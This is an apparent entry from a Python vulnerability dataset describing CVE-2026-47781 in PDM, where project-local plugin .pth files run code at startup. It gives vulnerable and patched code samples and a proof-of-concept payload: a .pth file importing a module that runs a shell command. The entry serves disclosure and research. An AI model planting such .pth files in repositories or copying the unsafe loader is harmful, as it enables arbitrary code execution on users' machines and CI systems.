CVE-2026-47781
PDM allows arbitrary code execution via untrusted project-local plugins.
- CVSS 8.4
- 94
- Design Defects
- Local
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm –version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- CWE
- 94
- CVSS base score
- 8.4
- Published
- 2026-08-04
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Local File Inclusion (LFI)
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- PDM
- Fixed by upgrading
- Yes
Solution
Upgrade PDM to version 2.27.0 or later.
Vulnerable code sample
import site
from pathlib import Path
from typing import Type
# Simplified representation of PDM's project structure
class Project:
def __init__(self, root: Path):
self.root = root
class Core:
project_class: Type[Project] = Project
def __init__(self) -> None:
self.project = self.project_class(Path("."))
def load_plugins(self) -> None:
"""Load plugins from the project's .pdm-plugins directory."""
plugin_path = self.project.root / ".pdm-plugins"
if plugin_path.is_dir():
# VULNERABLE: site.addsitedir() processes .pth files and executes any line
# starting with 'import', leading to arbitrary code execution.
site.addsitedir(str(plugin_path))
# ... further plugin loading logic using entry points ...Patched code sample
import pkgutil
from importlib.machinery import PathFinder
from pathlib import Path
from typing import Type
# Simplified representation of PDM's project structure
class Project:
def __init__(self, root: Path):
self.root = root
class Core:
project_class: Type[Project] = Project
def __init__(self) -> None:
self.project = self.project_class(Path("."))
def load_plugins(self) -> None:
"""Load plugins from the project's .pdm-plugins directory."""
plugin_path = self.project.root / ".pdm-plugins"
if plugin_path.is_dir():
# FIX: Manually find and load modules without processing .pth files,
# which prevents arbitrary code execution from them.
for module in pkgutil.iter_modules([str(plugin_path)]):
if module.ispkg:
continue
spec = PathFinder.find_spec(module.name, [str(plugin_path)])
if spec and spec.loader:
spec.loader.load_module(module.name)
# ... further plugin loading logic using entry points ...Payload
# File: .pdm-plugins/exploit.pth
import malicious_code
# File: .pdm-plugins/malicious_code.py
import os
import subprocess
# This payload will execute the 'id' command and print its output
# to demonstrate arbitrary code execution.
print("--- CVE-2026-47781 PoC ---")
subprocess.run("id", shell=True)
print("--------------------------")
Cite this entry
@misc{vaitp:cve202647781,
title = {{PDM allows arbitrary code execution via untrusted project-local plugins.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-47781},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-47781/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
